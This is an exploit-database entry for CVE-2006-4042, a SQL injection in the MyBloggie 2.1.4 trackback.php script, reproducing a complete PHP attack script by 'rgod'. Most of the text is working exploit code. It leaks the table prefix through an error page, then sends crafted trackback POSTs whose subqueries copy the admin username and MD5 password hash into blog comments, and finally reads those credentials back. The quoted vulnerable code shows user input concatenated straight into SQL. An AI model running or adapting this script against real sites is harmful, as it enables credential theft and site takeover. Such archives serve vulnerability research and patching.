Exploit MyBloggie 2.1.4 - 'trackback.php' Multiple SQL Injections

[Exploiter]

EDB-ID

2118

Проверка EDB

1. Пройдено

Автор

RGOD

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-4042

Дата публикации

2006-08-07

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "MyBloggie <= 2.1.4 trackback.php multiple SQL injections vulnerability /\n";
echo "administrative credentials disclosure exploit\n";
echo "by rgod [email protected]\n";
echo "site: http://retrogod.altervista.org\n\n";

/*
works regardless of php.ini settings
against MySQL >= 4.1 (allowing subs)
*/

if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to MyBloggie\n";
echo "Options:\n";
echo "   -i           specify an existent post id (default: 1)\n";
echo "   -T[prefix]   specify a table prefix different from default (mb_)\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "   -d:          disclose table prefix (reccomended)\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /MyBloggie/ -d -i7\r\n";
echo "php ".$argv[0]." localhost /MyBloggie/ -Tm_\r\n";
die;
}

/* software site: http://mybloggie.mywebland.com/

  vulnerable code in trackback.php:

...
if(!empty($_REQUEST['title'])) {
$title=urldecode(substr($_REQUEST['title'],0,$tb_title_len));
}
else { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : No title</p>"); }

if(!empty($_REQUEST['url'])) {
$url=urldecode($_REQUEST['url']);

if (validate_url($url)==false) { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : URL not valid</p>"); }
}
else { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : No URL</p>"); }

if(!empty($_REQUEST['excerpt']))
 {
  $excerpt=urldecode(substr($_REQUEST['excerpt'],0,$tb_excerpt_len));
 } else {
    $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : No Excerpt</p>");
 }

// The blog name
if(!empty($_REQUEST['blog_name']))
 {
    $blog_name=urldecode(substr($_REQUEST['blog_name'],0,$tb_blogname_len));
 } else
 {
    $blog_name="No Blog Name";
 }

$timestamp = mktime(gmtdate('H', time(), $timezone ),gmtdate('i', time(), $timezone ),
             gmtdate('s', time(), $timezone ), gmtdate('n', time(), $timezone ),
             gmtdate('d', time(), $timezone ), gmtdate('Y', time(), $timezone ));

$sql = "INSERT INTO ".COMMENT_TBL." SET post_id='$tb_id', comment_subject='$title', comments='$excerpt', com_tstamp='$timestamp' ,
              poster = '$blog_name', home='$url', comment_type='trackback'";

$result = $db->sql_query($sql) or die("Cannot query the database.<br>" . mysql_error());
...

you have sql injection in 'title', 'url', 'excerpt' and 'blog_name' argument
with MySQL >= 4.1 that allows SELECT subqueries for INSERT...

so you can insert admin username & password hash inside comments and you will see them at screen
also arguments are passed to urldecode(), so you can bypass magic_quotes_gpc
with '%2527' sequence for the single quote char
adn you can disclose table prefix going to:

http://192.168.1.3/mybloggie/index.php?mode=viewdate

you will have an error that disloses a query fragment

-

ex., injecting code in 'title' argument, query becomes:

INSERT INTO mb_comment SET post_id='1', comment_subject='hi',comments=(SELECT CONCAT('<!--',password,'-->')FROM mb_user)/*', comments='whatever', com_tstamp='1154799697' ,
poster = 'whatever', home='http://www.suntzu.org', comment_type='trackback'
									      */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="mb_";
$post_id="1";//admin
$proxy="";
$dt=0;

for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-i")
{
  $post_id=(int) str_replace("-i","",$argv[$i]);
  echo "post id -> ".$post_id."\n";
}
if ($temp=="-d")
{
  $dt=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($dt)
{
$packet ="GET ".$p."index.php?mode=viewdate HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"You have an error in your SQL syntax"))
{
  $temp=explode("UNIXTIME(",$html);
  $temp2=explode("posts.timest",$temp[1]);
  $prefix=$temp2[0];
  echo "table prefix -> ".$prefix."\n";
}
}

$sql="%2527,comments=(SELECT CONCAT(%2527<!--%2527,password,%2527-->%2527)FROM ".$prefix."user)/*";
//some problems with argument length, maybe with prefix > 3 chars you will have some error, cut the '<!--' but hash will be clearly visible in comments
$data="title=hi".$sql;
$data.="&url=http%3a%2f%2fwww%2esuntzu%2eorg";
$data.="&excerpt=whatever";
$data.="&blog_name=whatever";
$packet ="POST ".$p."trackback.php/$post_id HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

$sql="%2527,comments=(SELECT CONCAT(%2527<!--%2527,user,%2527-->%2527)FROM ".$prefix."user)/*";
$data="title=hi".$sql;
$data.="&url=http%3a%2f%2fwww%2esuntzu%2eorg";
$data.="&excerpt=whatever";
$data.="&blog_name=whatever";
$packet ="POST ".$p."trackback.php/$post_id HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

$packet ="GET ".$p."index.php?mode=viewid&post_id=$post_id HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//echo $html;
$temp=explode('"message"><!--',$html);
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode("-->",$temp[$i]);
if (is_hash($temp2[0]))
{
  $hash=$temp2[0];
  $temp2=explode("-->",$temp[$i+1]);
  $admin=$temp2[0];
  echo "----------------------------------------------------------------\n";
  echo "admin          -> ".$admin."\n";
  echo "password (md5) -> ".$hash."\n";
  echo "----------------------------------------------------------------\n";
  die();
}
}
//if you are here...
echo "exploit failed...";
?>

# milw0rm.com [2006-08-07]